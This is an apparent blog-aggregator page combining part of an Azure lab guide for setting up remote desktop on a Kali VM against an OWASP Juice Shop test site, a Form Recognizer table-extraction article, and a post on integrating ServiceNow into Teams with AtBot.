• Tip: As it is a security best practice, we strongly recommend that you change the default lab password after deployment

Configuration

Additional configuration is required on the Kali Linux VM before getting started on the lab exercises.  The Kali VM in this lab environment needs remote desktop environment installed and configured.  Please complete the steps in the order outlined below.

Updating Kali Linux and Installing Desktop Environment

1. Launch PowerShell on your local machine and run the following command to connect to the Kali VM

ssh svradmin@<Public IP Address of Azure Firewall> 

<Type your password when prompted to login>

• Tips:
  
  
  
  • You can find the public IP of Azure Firewall in the Azure Portal under Resource Group –> SOC-NS-FW –> Public IP configuration
  
  
  • You can also use Putty client on your local machine to connect to the Kali VM
  
  
  
  

2. Once connected to the Kali VM with SSH, run the following command to update the Kali Linux distro

sudo apt-get update

<Type your password when prompted>

3. Once the Kali Linux distro is updated, run the following command to install and configure the remote desktop server on the Kali VM

a. sudo apt-get -y install xrdp

b. sudo systemctl enable xrdp

c. echo xfce4-session >~/.xsession

d. sudo service xrdp restart

• Tip:  For more information, refer to the step by step instructions to Install Desktop Environment on Linux VMs – Install and configure Remote Desktop to connect to a Linux VM in Azure 

4. Upon completing the abovementioned steps, you should be able to connect to the Kali VM over RDP on port 33892 

a. Connect to the Kali VM over RDP by using the following IP address and port combination

<Public IP Address of Azure Firewall>:33892 

b. When prompted to choose the setup for the first startup, click to select “Use default config”

c. You can now close your SSH session to the Kali VM by typing “exit” in the SSH session running in PowerShell

5. Create an entry in the HOSTS file on Kali VM to map a name to the Public IP address of the OWASP Juice Shop site published on Application Gateway

a. Launch Terminal and run the following command

sudo nano /etc/hosts

<Type your password when prompted>

b. Create the following entry

c. Save the hosts file and exit

Use Ctrl+S to save and Ctrl+X to exit

• Tip:  You can find public IP of the Application Gateway in the Azure Portal under Resource Group –> SOC-NS-AG-WAFv2 –> Frontend Public IP address

Next Steps

Before proceeding to the next tutorial, take a few mins to review the following

1. OWASP Juice Shop publishing rule on Application Gateway


2. Web Application Firewall configuration on Application Gateway


3. Test connectivity to the OWASP Juice Shop website when accessing the application directly and when going to it through the Application Gateway

• Tip:  You can find the public URL of the deployed Juice Shop app in the Azure Portal under Resource Group –>  owaspdirect-<guid> –> URL

Next: Reconnaissance Playbook

Enhanced Table Extraction from documents with Form Recognizer

by Contributed | Jan 14, 2021 | Technology

This article is contributed. See the original author and article here.

Authors: Lei Sun, Neta Haiby, Cha Zhang, Sanjeev Jagtap

Documents containing tables pose a major hurdle for information extraction. Tables are often found in financial documents, legal documents, insurance documents, oil and gas documents and more. Tables in documents are often the most important part of the document but extracting data from tables in documents presents a unique set of challenges. Challenges include an accurate detection of the tabular region within an image, and subsequently detecting and extracting information from the rows and columns of the detected table, merged cells, complex tables, nested tables and more. Table extraction is the task of detecting the tables within the document and extracting them into a structured output that can be consumed by workflow applications such as robotic process automation (RPA) services, data analyst tools such as excel, databases and search services.

Customers often use manual processes for data extraction and digitization. However, with the new enhanced table extraction feature you can send a document (PDF or images) to Form Recognizer for extraction of all the information into a structured usable data at a fraction of the time and cost, so you can focus more time acting on the information rather than compiling it.

Table extraction challenges

Table extraction from a wide variety of document images is a challenging problem due to the heterogeneous table structures, diverse table contents, and erratic use of ruling lines. To name a few concrete examples, in financial reports and technical publications, some borderless tables may have complex hierarchical header structures, contain many multi-line, empty or spanned cells, or have large blank spaces between neighboring columns. In forms, some tables may be embedded in other more complex tabular objects (e.g., nested tables) and some neighboring tables may be very close to each other which makes it hard to determine whether they should be merged or not. In invoices, tables may have different sizes, e.g., some key-value pairs composed tables may contain only two rows/columns and some line-item tables may span multiple pages. Sometimes, some objects in document images like figures, graphics, code listings, structurally laid out text, or flow charts may have similar textures as tables, which poses another significant challenge for successful detection of tables and reduction of false alarms. To make matters worse, many scanned or camera-captured document images are of poor image quality, and tables contained in them may be distorted (even curved) or contain artifacts or noises.  Existing table extraction solutions fall short of extracting tables from such document images with high accuracy, which has prevented workflow applications from effectively leveraging this technology.

Form Recognizer Table extraction

In recent years, the success of deep learning in various computer vision applications has motivated researchers to explore deep neural networks like convolutional neural networks (CNN) or graph neural networks (GNN) for detecting tables and recognizing table structures from document images. With these new technologies, the capability and performance of modern table extraction solutions have been improved significantly.

In the latest release of Form Recognizer, we created a state-of-the-art table extraction solution with cutting-edge deep learning technology. After validating that Faster/Mask R-CNN based table detectors are effective in detecting a variety of tables (e.g., bordered or borderless tables, tables embedded in other more complex tabular objects, and distorted tables) in document images robustly, we further proposed a new method to improve the localization accuracy of such detectors, and achieved state-of-the-art results on the ICDAR-2019 cTDaR table detection benchmark dataset by only using a lightweight ResNet18 backbone network (Table 1).

For the challenge of table recognition or table cell extraction, we leveraged existing CNN/GNN based approaches, which have proven to be robust to complex tables like borderless tables with complex hierarchical header structures and multi-line/empty/spanned cells. We further enhanced them to deal with distorted or even slightly curved tables in camera-captured document images, making the algorithm more widely applicable to different real-world scenarios. Figure 1 below shows a few examples to demonstrate such capabilities.

Easy and Simple to use

Try it out with the Form Recognizer Sample Tool. 

Extracting tables from documents is as simple as 2 API calls, no training, preprocessing, or anything else needed. Just call the Analyze Layout operation with your document (image, TIFF, or PDF file) as the input and extracts the text, tables, selection marks, and structure of the document.

Step 1: The Analyze Layout Operation –

https://{endpoint}/formrecognizer/v2.1-preview.2/layout/analyze

The Analyze Layout call returns a response header field called Operation-Location. The Operation-Location value is a URL that contains the Result ID to be used in the next step.

Operation location –
https://cognitiveservice/formrecognizer/v2.1-preview.2/prebuilt/layout/analyzeResults/44a436324-fc4b-4387-aa06-090cfbf0064f

Step 2: The Get Analyze Layout Result Operation –

Once you have the operation location call the Get Analyze Layout Result operation. This operation takes as input the Result ID that was created by the Analyze Layout operation.

https://{endpoint}/formrecognizer/v2.1-preview.2/layout/analyzeResults/{resultId}

The output of the Get Analyze Layout Results will provide a JSON output with the extracted table – rows, columns, row span, col span, bounding box and more.

For example:

Get started

• To get started create a Form Recognizer resource in the Azure Portal and try out your tables in the Form Recognizer Sample Tool. You can also use the Form Recognizer client library or REST API.
  Note tables output is included in all parts of the Form Recognizer service – prebuilt, layout and custom in the JSON output pageResults section.


• For additional questions please reach out to us at formrecog_contact@microsoft.com

Bringing your ServiceNow Service Desk into Teams with AtBot

by Contributed | Jan 14, 2021 | Technology

This article is contributed. See the original author and article here.

The Set Up

While you have many choices for how to bring your service desk into Teams, AtBot provides the most complete solution to facilitate this integration. A bot in Teams offers users a friendly and intuitive way to ask for help. From being able to answer simple questions, drawing on your existing knowledge base, to providing step-by-step resolution instructions, and ultimately creating and assigning new service tickets for issues that the bot cannot resolve.

In this article, I will be expanding on the technical integrations that can empower your bot in Teams. ServiceNow, Microsoft Cognitive Services and the Power Platform, all brought together into a cohesive solution through AtBot. You can employ this strategy for any bot in Teams, not just your service desk, but for the sake of this article, we will be focusing on IT support.

What Makes a Good Bot

The main thing that makes a bot “good” is the fact that your users continue to use it. If the experience is poor, or users do not get value out of their interactions with the bot, then it will go unused. We believe that there are 3 pillars that breath life into your bot.

Language Understanding

The first pillar is the ability to understand natural language. The bot should not only understand what you are asking or trying to accomplish, but also any key components of your ask that are relevant. For example, if a user states, “I need to have Visio installed on my laptop”, the bot should understand that they need a software installation and that Visio is the software they are in need of.

This capability is accomplished through AtBot’s integration with Microsoft LUIS or Language Understanding Intelligent Service. LUIS is an easy-to-use language modelling service that can be leveraged to give your bots a deep understanding of the natural language that would be used within your organization to ask for services (like software installation).

Knowledge

The second pillar is the bot’s ability to respond to questions with knowledgeable answers. AtBot employs a direct connection to Microsoft QnA Maker to give your bots a knowledge base that can be derived from existing content or managed directly in the QnA Maker portal.

This knowledge base empowers your bot to answer questions with static content like “What is the guest WIFI password” or, “what are the service desk hours?”.

Action

The final pillar of any good bot is its ability to take action on the users’ behalf. Whether it is to create a new incident for the user in ServiceNow or to look up the status of a ticket, the bot should be fully capable of doing these things for the user.

This capability is provided through AtBot’s integration with Power Automate and Azure Logic Apps. AtBot has a standard connector in each of these RPA platforms which allows you to create skills for the bot without having to write any code. This is where our integration with ServiceNow comes in as ServiceNow is an out-of-the-box connector as well. If you can create a flow, you can program your bot using AtBot!

Your 24/7 Tier 1 Support Agent

When you put all this together, you can quickly configure, build, and deploy a bot to Teams which can provide support to your users throughout all hours of the day. The built-in integration with ServiceNow means that your existing flow for incidents can be leveraged and the bot can create and route new tickets accordingly.

The video below is an example of an IT support bot that was built using AtBot to combine the powers of Microsoft Cognitive Services, Power Automate, Teams and ServiceNow. This bot took about 6 hours to build from start to finish.

https://youtube.com/watch?v=-RfpRVsm030

Conclusion

If your organization is using Teams for communication and collaboration, now is the time to start looking at integrating other services through bots and application integrations. ServiceNow is one great example, but through Power Automate you can integrate with other systems as well. From Dynamics to SharePoint, FreshDesk to Azure SQL, integrating with your data is as simple as placing a block inside the flow and making the connection. This is all made possible by the AtBot platform, the no-code solution for building bots for Teams.